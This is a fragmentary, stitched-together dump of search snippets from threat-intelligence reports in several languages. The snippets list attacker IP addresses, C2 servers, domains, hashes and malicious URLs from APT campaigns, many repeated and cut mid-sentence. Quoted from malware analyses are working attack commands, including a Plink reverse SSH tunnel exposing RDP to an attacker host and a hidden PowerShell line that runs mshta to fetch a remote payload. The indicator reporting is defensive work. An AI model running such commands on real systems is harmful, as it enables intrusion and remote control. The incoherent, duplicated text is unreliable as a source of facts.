업체들은 다음과 같습니다.…","…6f7aa6b5df 65433fd59c87acb8d55ea4f90a47e07fea86222795d015fe03fba18717700849 3fda6fd600b4892bda1d28c1835811a139615db41c99a37747954dcccaeb\u001f6e 172.105.232.89 130.130.121.44 118 .107.11.13…","…DAYS (since 2025–10–31–2025–11–08 (today)): ============================================================ fz9buhqmal.pencils.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 m.noox.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225,…","…(today)): ============================================================ fz9buhqmal.pencils.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 m.noox.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 noox.farm -> IPs:…","…(today)): ============================================================ fz9buhqmal.pencils.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 m.noox.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 noox.farm -> IPs: 172.236.126.142,…","…-> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 m.noox.farm -> IPs: 172.236.126.142, 172.236.126.145, 172.236.126.225, 172.236.126.234 noox.farm -> IPs: 172.236.126.142, 172.236.126.145,…","…pw sharedriver.us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share on Tumblr Related…","…SubMenu.nib C2 address 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:44…","…x86_64 IP Addresses 23.254.253.75 45.61.128.122 45.61.135.105 45.61.140.26 139.99.66.103 144.172.74.23 144.172.74.141 172.86.102.98 172.86.108.47 216.107.136.10 Domains…","…152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473…","…servers 104.255.172.56 (2022-09-15 - 2023-04-11) 172.93.181.221 (2022-12-28 - 2023-03-06) 172.86.121.143 (2022-10-31 - 2022-12-21) 172.86.121.130 (2022-10-25 - 2023-01-24) 149.28.247.34 (2022-11-11 - 2022-11-11) 152.89.247.87 (2022-09-15 - 2022-10-24) 104.168.174.80 (2022-06-28 -…","…The reverse lookup also surfaced two new IPs that hosted the bulk of the operation. 172.86.89.213 – the payload server.…","…uswebob.com 2026-03-31 13:54:02 107.180.119.82 26496 GoDaddy NameSilo, LLC 24 premuims.live [3] 2026-03-31 12:16:01 172.86.91.195 14956 RouterHosting NameSilo, LLC 25 ms-meeting.us 2026-03-30 13:34:12 192.64.119.167 22612 Namecheap, Inc.…","…PowerShell / VBS / macOS shell variants), plus a cluster of `*-support.online` and `-mac.online` domains used for macOS payload delivery 172.86.91.195 – a dedicated domain rotation server.…","…이후 다음과 같은 명령으로 Plink를 실행하여 공격자의 SSH 서버와 SSH 터널링을 통해 외부에서 RDP 연결이 가능케 하였다. 명령 C:\\Temp\\AUtempR\\p64.exe [제거]@172.93.181.238 -pw [제거] -P 443 -2 -4 -T -N -C -R 0.0.0.0:10443:127.0.0.1:3389 Table 1.…","…RDP connections through SSH tunneling to the threat actor’s SSH server. Command C:\\Temp\\AUtempR\\p64.exe [removed]@172.93.181.238 -pw [removed] -P 443 -2 -4 -T -N -C -R 0.0.0.0:10443:127.0.0.1:3389 Table 1.…","…/c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 569782 2.2.2.2 || mshta http://172.93.181.249/control/html/1.html’ -PropertyType String -Force; 2.3.…","…The control server is located at http://172.93.181.249/control/com.php .…","…Domains and IPs 172.93.184.62 MATA C2 23.227.199.69 MATA C2 104.232.71.7 MATA C2 mnmski.cafe24.com Staging…","…address 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:44…","…12/fix/* http://jdwanxiang.com/win/shenti/* https://clovery-shapes.000webhostapp.com/defcon/* http://hk-law.co.kr/data/file/joomla/* http://172.93.193.158/data/* ‍ Read our latest blog articles AI SOC Insights & Other News September 10, 2026 Why multi-tenant SOCs need multi-level…","…12/fix/* http://jdwanxiang.com/win/shenti/* https://clovery-shapes.000webhostapp.com/defcon/* http://hk-law.co.kr/data/file/joomla/* http://172.93.193.158/data/* ‍ Cyber Threat Intelligence Actionable cyber threat intelligence for security teams that need to understand threats faster,…","…s 104.232.71.7:443 107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443…","…107.172.197.175 United States ASN36352 ColoCrossing 172.93.201.219 United States ASN20278 Nexeon Technologies, Inc. 64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC 74.121.190.121 United States…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/ AhnLab TIP 를 구독하시면 연관 IOC 및…","…URL http://152.89.247.57:52390/ http://172.93.201.248:52390/ http://172.93.201.248:8083/ http://192.236.154.125:50108/ http://209.127.37.40:52390/ Gain access to related IOCs…","…If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201.253 in November 2021 and 45.147.231.213 in September 2021. The IP address 172.93.201.253 was recently used to host the domain -…","…147.182.237.105 3.137.98.129 cd8e12cddfe71b89597b6621d538b63673c8a8a3bf47a0fa572961ca1280e5b5 137.184.15.189 172.93.201.253 ccdb436a5941ba47a8b7e110021ad98ba6dc4e0296dc973429fc0c73de5e5397 - 44.238.74.84…","…It then sends that information to a hardcoded IP 172.93.201.253 over TCP/22, which does not use SSH protocol and does not require SSH handshake to establish communication.…","…od.lk Cogent Communications 2023-03-16 Remote OpenDrive storage containing SimplexTea ( /d/NTJfMzg4MDE1NzJf/vxmedia ) 172.93.201.88 journalide.org Nexeon Technologies, Inc.…","…are attributed to UNC4736 and UNC3782. 2022–04–08 journalide.org UNC4736 2021-11-26 nxmnv.site UNC3782 Table 2: Resolutions for IP 172.93.201.88 In my research, I will uncover unreported domains, IP addresses, and emails from UNC3782. Tool Usage Silent Push Platform Python…","…This customized version beacons to the IP address 172.96.137.224 .…","…Loss Unauthorized Access Credential Theft Privilege Escalation Indicators of Compromise Domain Name americajobmail.site IP 172.96.137.224 MD5 e12f93d462a622f32a4ff1e646549c42 f01eae4ee3cc03d621be7b0af7d60411 SHA-256…","…Command-and-control server 51.81.168.157:443 Command-and-control server 217.195.153.209 IP address used by Plink 172.96.137.224 IP address used by Plink 144.208.127.115 IP address used by Plink Certificate 1 thumbprint =…","…- nottingham39483.com (45.58.121.194) - error-naver.com (198.252.103.74) - down-error2.com (198.252.102.112) - kan-smiko.com (172.96.186.193) - kani_smiko@rambler.ru - birmingham1956@rambler.ru HWP 문서 파일 내부에는 악성 포스트 스크립트(Post Script) 코드가 포함되어 있습니다.…","…Value Purpose 4 Proxy Count 113.10.170.98 IPv4 443 Port Number 98.101.211.250 IPv4 443 Port Number 173.0.138.250 IPv4 443 Port Number 192.168.1.49 IPv4 443 Port Number 60 Sleep Time 5 Max Repetition Count Following…","…177.126.94:443(TCP) 108.177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.…","….177.126.95:443(TCP) 108.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.2…","…8.177.127.84:443(TCP) 108.177.127.95:443(TCP) 108.177.96.138:443(TCP) 142.251.31.138:443(TCP) 173.194.69.94:443(TCP) 173.194.79.94:443(TCP) 173.194.79.95:443(TCP) 192.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.8…","…Kimsuky-related attacks involving the Baby Shark malware: IP Address Domain Name Kimsuky Activity 173.205.125.124 csv.posadadesantiago.com KGH Backdoor wave.posadadesantiago.com CSPY Downloader…","…127.0.0.2 3389 2 > C:\\users\\%ASD%\\downloads\\rpc.Exe 6060 153.75.233.17 8080 127.0.0.2 3389 1 > C:\\Users\\%ASD%\\Documents\\taskxys.Exe 6060 173.214.170.58 8080 127.0.0.2 3389 04 2.3.…","…127.0.0.2 3389 2 > c:\\users\\%ASD%\\downloads\\rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1 > C:\\Users\\%ASD%\\Documents\\taskxys.exe 6060 173.214.170.58 8080 127.0.0.2 3389 04 2.3.…","…[그림 7] rrrr.pdb 화면 'cow.gif' 파일의 경우에는 중국어로 빌드된 악성 Dll 파일인데, PCRat 원격제어 프로그램의 'Server.dll' 파일 기능을 수행하게 되며, '173.248.170.149' 서버로 통신을 시도하게 됩니다.…","…us tempdomain8899.com world-paper.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share on Tumblr Related Posted in…","…poisoning BLOCK / MONITOR 7 94.154.42.149 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 8 173.249.16.178 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 9 170.64.224.137 PHP web shell tooling / upload…","…poisoning BLOCK / MONITOR 19 23.106.131.214 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 20 173.249.16.192 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 21 45.148.10.201 PHP web shell tooling / upload…","…infectious diseases.” Technical Details Investigating the Command & Control The Command & Control projectcell.niv.co.in resolves to 173.249.33.80 , which is allocated to German mass-hosting provider Contabo GmbH.…","…No other FQDNs have been seen on this IP address thus far. niv.co.in , however, resolves to 173.249.44.87 , also allocated to Contabo GmbH, and appears to be used as a mass-hosting web server by an Indian marketing and web development company, I…","…URL http://174.138.184.236/2/dwn.php http://easy1.n-e.kr/ http://newjo-imd.com/common/include/library/default.php http://newjo-imd.com/common/include/opp/default.p…","…IP 174.138.186.157 213.145.86.223 Tags: APT AutoIT backdoor Brandoor CAB Decoy DLLSideLoading EndRAT…","…IP 174.138.186.157 213.145.86.223 Tags: APT AutoIT backdoor Brandoor CAB Decoy DLLSideLoading EndRAT 미끼문서 바로가기 디코이 HTA HWP 한글문서 JSE Keylogger LNK…","…IP 174.138.186.157 213.145.86.223 77.246.101.72 Tags: APT AutoIT backdoor CAB Decoy Endoor EndRAT 미끼문서…","…ate.alzip.r-e.kr mail.naverwork.r-e.kr gwa.wooritg.o-r.kr mail.naverwork.o-r.kr image.secuwizvpn.r-e.kr load.rwbcode.com rwbcode.com 174.138.186.157:5511 174.138.186.157:7788 174.138.186.157:9558 213.145.86.223:9005 111.92.189.34:21 142.11.248.98 162.220.11.202 ydcxcm.pklzd.com q…","…cry.com bc2eab8dfc5a0f85eb04eeb1fa19eb91 jdk.exe 03933959de20c3d1d40567b7d7fc4f7e hobobot.net crypto.blockchaincapital.space 174.138.24.107 54.80.204.133 54.226.210.44 apt分析 APT , lazarus , 加密货币 , 拉撒路 Post navigation PREVIOUS…","…ugins/download-plugin/plugins.php stmwa.de/work/config/data.php csmss.org/admin/uploads/award/award28.php 167.172.113.157/ 108.179.214.134/ 174.138.30.233/ absolutemedia.net.au/ absolutemedia.net.au/testing/wp-content/intelmanagertools.exe absolutemedia.net.au/testing/wp-includes/Spectrum abso…","…botmaster (HIDDEN COBRA). Figure 7 C2 IP Addresses As can be seen, besides the main IP addresses (“125.212.132.222\" and \"175.100.189.174\") the bot also uses the address '10.10.30.110', which is a private address found on many networks using NAT (Network Address Translation).…","…0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d ELF ARM file embedded in main.js 97.211.212.31 14.139.200.107 175.100.189.174 This ELF ARM file is one of three we identified.…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft…","…2019-04-12 23:38:11 - 175.167.138.225 - F80F41BFAB80/mouserib_20190412_233810169 2019-04-13 07:54:57 - 175.167.130.236 - F80F41BFAB80/micky_20190413_075501041 2019-04-13 07:54:58 - 175.167.130.236 - F80F41BFAB80/tojeny_20190413_075501041 2019-04-13…","…2019-04-13 08:05:57 - 175.167.130.236 - F80F41BFAB80/rosemary_20190413_080601145 2019-04-13 10:00:00 - 175.167.138.222 - F80F41BFAB80/micky_20190413_100000041 2019-04-13 11:11:36 - 175.167.138.222 - F80F41BFAB80/piraveleg_20190413_111140334 2019-04-13…","…2019-04-12 23:37:27 - 175.167.138.225 - F80F41BFAB80/micky_20190412_233730041 2019-04-12 23:37:27 - 175.167.138.225 - F80F41BFAB80/piraveleg_20190412_233730334 2019-04-12…","…2019-04-13 12:38:56 - 175.167.138.222 - F80F41BFAB80/tojeny_20190413_123846118 2019-04-13 15:18:27 - 175.167.146.58 - F80F41BFAB80/micky_20190413_151831041 2019-04-13 15:18:29 - 175.167.146.58 - F80F41BFAB80/tojeny_20190413_151832041 2019-04-13…","…LLC 2020‑03‑27 A compromised legitimate site hosting the C&C server: http://barsaji.com.mx/src/recaptcha/index.php 175.207.13.231 www.keewoom.co.kr Korea Telecom 2021‑01‑17 A compromised legitimate site hosting the C&C server:…","…ownloadserve.com kakaofilestorage.com navarar.com 108.181.50.58 158.247.219.10 158.247.249.129 141.164.62.19 141.164.60.110 223.104.236.114 175.214.194.61 61.97.243.2 이 글 공유하기 Facebook LinkedIn Email…","…sophisticated malware. Impact Information Theft and Espionage Indicators of Compromise IP 108.181.50.58 158.247.219.10 175.214.194.61 61.97.243.2 MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256 dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6…","…Internet Protocol (IP) addresses from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo…","…Discovery It began at the end of 2023 when I noticed a new DNS record for the domain cloud.star.net.kp which resolved to the IP address 175.45.176.31 .…","…certificate information on port 3225: Subject: CN=hangro.net.kp Issuer: CN=hrra2024 Names: hangro.net.kp Additionally, the IP 175.45.176.32 matched this certificate data. Despite these technical similarities, the exact purpose of these IPs remains unclear.…","…path on the west coming in from China toward Pyongyang, as well as a path on the east side coming from Russia. From the US east coast to 175.45.176.71, the final hop in China before entering North Korea shows roughly 50 ms of additional latency before reaching the DPRK host.…","…/ nick Taking a break from fake DPRK companies for a while, there was some interesting activity that I recently noticed on 175.45.176.97 .…","…ms 294.795 ms 294.605 ms 15 175.45.176.71 (175.45.176.71) 282.938 ms 284.446 ms 282.227 ms Interestingly, running a traceroute to 175.45.177.10 shows a similar pattern in terms of missing hops, but with much lower internal latency.…","…25,587 Postfix smtp1.star-co.net.kp 175.45.178.57 25,587 Postfix mail.star-co.net.kp 175.45.178.55 Postfix mail.silibank.net.kp 175.45.177.33 25 Postfix So far, nothing spectacular, until we look at the TLS certificate. The Certificate That Shouldn’t Exist (At Least Not Like…","…특히, HWP 문서파일 취약점을 사용할 때 마지막 작성자의 계정과 일치하며, '175.45.178.133' 아이피의 감염 로그에서도 확인된 바 있습니다.…","…그동안 알려지지 않았던 몇 가지 공격 사례를 추가로 확인하였습니다. 더불어 금성121 위협조직 배후에 '특정 정부의 후원을 받는 조직(state-sponsored actor)'이 존재하며, 과거 2018년 '로켓맨 캠페인에서는 '175.45.178.133' 아이피 주소가 발견 '된 바 있습니다.…","…이 당시 동일한 위협배후의 과거 로그흔적에서는 '175.45.178.133' 평양 소재 아이피 주소가 발견된 사례가 있으며, youngs.dgweb.kr 호스트가 C2서버로 자주 악용된 것이 특징입니다.…","…Running smtp.star-co.net.kp 175.45.178.56 25,587 Postfix smtp1.star-co.net.kp 175.45.178.57 25,587 Postfix mail.star-co.net.kp 175.45.178.55 Postfix mail.silibank.net.kp 175.45.177.33 25 Postfix So far, nothing spectacular, until we look at the TLS certificate. The…","…The email in question originated from a @star-co.net.kp address with an origin IP of 175.45.178.55 and an internal relay of 172.31.6.4 .…","…verified reachability on the typical mail ports (25, 465, 587) Mailserver IP-Address Open Mail Ports Running smtp.star-co.net.kp 175.45.178.56 25,587 Postfix smtp1.star-co.net.kp 175.45.178.57 25,587 Postfix mail.star-co.net.kp 175.45.178.55 Postfix mail.silibank.net.kp…","…465, 587) Mailserver IP-Address Open Mail Ports Running smtp.star-co.net.kp 175.45.178.56 25,587 Postfix smtp1.star-co.net.kp 175.45.178.57 25,587 Postfix mail.star-co.net.kp 175.45.178.55 Postfix mail.silibank.net.kp 175.45.177.33 25 Postfix So far, nothing…","…combat helicopters and fighter jets. On the screen behind the host, Group-IB specialists noticed two IP addresses 175.45.178.19 and 175.45.178.97, which had been used to control Ghost RAT malware.…","…very likely belong to Kimsuky and are therefore currently active in their campaign: IP Domain 51.79.185.184 aointerviews.com 176.111.220.168 152.32.138.15 IIM Chain Here’s the related IIM Chain for this attack You can view it in the IIM Workbench if you want to inspect…","…- 41.131.29.59:443 (EG) - 176.35.250.93:443 (GB) - 64.86.34.24:443 (CA) [그림 10] 명령 제어 서버 코드 화면 그리고 이 파일 역시 개인 금융 소프트웨어 위장으로 설치된 악성 프로그램과 동일하게 윈도우즈…","…de13155f4a4cb1af04539883545151905ad4496ea6ef34cb22e50831f7caa38a 41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110…","…\"176.65.128.26\" was used as an OpenSSH-based reverse tunneling address in a watering hole attack targeting a Korean IT service pr ovider, and was…","…nohup …/SystemUpdate –type=renderer and nohup …/iSync –type=renderer 2026-03-29 05:00:55 C2 connection SystemUpdate => technicais (176.97.114.232), iSync => hubpage (45.11.59.140), Telegram at 05:00:58 2026-03-29 05:00:58 Implant re-arm xattr -rd com.apple.quarantine + chmod +x…","…delay.servehttp.com Domain ROOFDECK C2 https://pastebin.com/raw/3yptBDhL URL ROOFDECK signed C2 dead drop 176.97.114.232 IP AS6698; served MacOS.Backdoor.GetShell per RL https://technicais.sytes.net/statics/v11/11013 URL Served ROOFDECK iSync on…","…23 그림 25 | 폴더 및 파일 목록 수집 코드 비교 winsec.dat과 Winprim.dat의 C&C 서버(happy-new-year.esy.es, 177.234.145.204, BR)는 sen. a의 C&C 서버와 마찬가지로 김수키(Kimsuky) 조직에서 최근까지 사용했다.…","…Attacker domain Domain cdn.clubinfo.io Attacker domain IP Address 70.34.245.118 Resolved from getstockprice.com IP Address 178.128.77.132 trashcrease.com C2 IP Address 131.226.2.43 Anglerstatic.com C2 IP Address 23.236.169.233 goingladies.com C2 IP Address…","…Cloud Security network indicators published by Safe{Wallet} getstockprice.com , 70.34.245.118 trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain…","…117.20.113.188 117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14…","…157.180.88.26 (FI) cliconfg.au3 RftRAT 96.62.214.5 (JP) sqlite4.au3 RemcosRAT 178.16.54.208 (NL) [Table 4-1] Types and C2 Infrastructure by Malicious AutoIt Script All three collected files use the AutoIt script…","…157.180.88.26 (FI) cliconfg.au3 RftRAT 96.62.214.5 (JP) sqlite4.au3 RemcosRAT 178.16.54.208 (NL) [표 4-1] 악성 AutoIt 스크립트별 유형 및 C2 채증된 3개 파일은 모두 AutoIt 스크립트 확장자(.au3)를 사용하고 있으나, 분석 결과 원본 스크립트 파일이 아닌 컴파일된(Compiled)…","…2021‑01‑17 A compromised legitimate site hosting the C&C server: http://www.keewoom.co.kr/prod_img/201409/prod.php 178.251.26.65 kerstpakketten.horesca-meppel.nl InterRacks B.V. 2020‑11‑02 A compromised legitimate WordPress-based site…","…104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this…","…(TCP) 152.199.19.74:80 (TCP) 157.240.247.35:443 (TCP) 157.240.247.35:80 (TCP) 172.64.149.23:80 (TCP) 172.64.152.151:443 (TCP) 18.185.8.123:443 (TCP) 18.185.8.123:80 (TCP) 18.65.39(.020:443 (TCP) 18.65.39.20:80 (TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80…","…(TCP) 172.64.149.23:80 (TCP) 172.64.152.151:443 (TCP) 18.185.8.123:443 (TCP) 18.185.8.123:80 (TCP) 18.65.39(.020:443 (TCP) 18.65.39.20:80 (TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80…","…Domains and IPs buttyfly.000webhostapp.com planar-progress.000webhostapp.com 120.192.73.202 180.182.52.76 Malware Technologies Vulnerabilities and exploits Malware Descriptions Malware APT Backdoor…","…Domains and IPs buttyfly.000webhostapp.com planar-progress.000webhostapp.com 120.192.73.202 180.182.52.76 ScarCruft Backdoor APT Malware Malware Descriptions Vulnerabilities and exploits…","…36 00 35 00 35 00 32 00 31 00 02 00 6.5.5.2.1... This configuration contains two C&C addresses: member.itemdb.com and 180.235.132.206 , both to be contacted on port 443, which is consistent with the Fake-TLS protocol implemented. The payload is packed using a powerful…","…C2 Domains daedong.or.kr kcnp.or.kr kosic.or.kr wstore.lt xkclub.hk C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22…","…ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203 Related APK Samples In addition to ELF ARM files the HTTP…","…addresses 110.45.145.103 114.215.130.173 119.29.11.203 124.248.228.30 139.196.55.146 14.139.200.107 175.100.189.174 181.119.19.100 197.211.212.31 199.180.148.134 217.117.4.110 61.106.2.96 Introducing McAfee+ Identity theft protection and…","…- 80.91.118.45:443 (AL) - 181.119.19.56:443 (AR) - 111.207.78.204:443 (CN) - 184.107.209.2:443 (CA) [그림 9] 'leo.exe' 악성 프로그램이 통신하는 서버 IP 주소 화면 그런데 여기서…","…(laxhost.dll) e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf…","…181.119.19.56 Ports 443 TCP Whois NetRange: 181.0.0.0 - 181.255.255.255 CIDR: 181.0.0.0/8 NetName: LACNIC-181 NetHandle: NET-181-0-0-0-0 Parent: () NetType: Allocated to LACNIC OriginAS: Organization: Latin…","…however, no DNS query is made for the name. 181.39.135.126 Tags command-and-control Ports 443 TCP Whois inetnum: 181.39.135.120/29 status: reallocated owner: Clientes Guayaquil ownerid: EC-CLGU1-LACNIC responsible: Tomislav Topic address: Kennedy Norte Mz.…","…112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44…","…(23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44…","…Pivoting on the FRP hash 24d5dd3006c63d0f46fb33cbc1f576325d4e7e03e3201ff4a3c1ffa604f1b74a, Our platform surfaced eight hosting instances (182.136.123.102, 119.6.56.194, 182.136.120.52, 118.123.54.71, 61.139.89.11, 125.67.171.158, 125.65.88.195, and 119.6.121.143) over the same port \"9999\".…","…that the threat actors are using, however in this attack chain we only observed communication between the two: http://www.jkmusic.co.kr (182.162.94.42) http://www.notebooksell.kr (183.111.169.84) Both websites are registered in Korea and at the time of publication are not flagged as…","…58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of the collected IoCs that have been confirmed.…","…117.20.116.53 146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184…","…146.70.144.77 146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120…","…146.70.199.8 146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178…","…146.70.42.122 149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192…","…149.36.50.13 157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36…","…157.97.122.39 157.97.122.40 178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37…","…rs.com 3.39.208.187 222.118.225.33 211.110.1.17 20.194.29.89 119.207.79.175 61.100.5.186 110.10.189.167 14.63.165.32 211.110.1.93 182.252.138.31 114.207.112.19 1.249.169.5 연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.…","…IP Domain Country Organization 182.48.49.233 goldllama4.sakura.ne.jp JP AS9371 SAKURA Internet Inc.…","…RAT – f8b329fc1f4d50f5509a72c1f630155538f4d2c6e49b80ce4841fada6547c4bd C&Cs 182.56.5.227 222.122.31.115 66.99.86.8 210.61.8.12 62.215.99.90 Jay Rosenberg Building Your Bullet…","…C2 Domains daedong.or.kr kcnp.or.kr kosic.or.kr wstore.lt xkclub.hk C2 IPv4 Addresses 103.224.82.154 180.67.205.101 182.70.113.138 193.189.144.145 199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152…","…iso3488.co.kr regard.co.kr aymdtt.co.kr gbionet.com strehab.com well-story.co.kr vwellpain.com 165.154.230.24 122.155.191.33 218.150.78.197 183.111.141.93 이 글 공유하기 Facebook LinkedIn Email…","…URL http://106.250.168.50/rd.exe http://106.250.168.50/todesk.rar http://119.201.213.146/mscorsvw2.exe http://183.111.148.147/mscorsvw2.exe http://58.180.56.28/mscorsvw2.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…Domain IP Country (Name Server) cicctv.co.kr 112.175.50.142 KR (ns.gethompy.com) dh00386.com 183.111.161.156 KR (ns.gethompy.com) jinsungm.com 112.175.85.243 KR (ns.gethompy.com) [표 2] 피싱 유도 서버 도메인 정보 ○ 피싱 유도 페이지 하단에 존재하는…","…attack chain we only observed communication between the two: http://www.jkmusic.co.kr (182.162.94.42) http://www.notebooksell.kr (183.111.169.84) Both websites are registered in Korea and at the time of publication are not flagged as malicious by blacklisting websites including…","…https://company536.cafe24.com/ 183.111.174.68 카페24 이라는 전자상거래 플랫폼 기업에서 운영 중인 사이트를 한 개 털어서 이용한 것을 추측할 수가 있습니다.…","…진짜 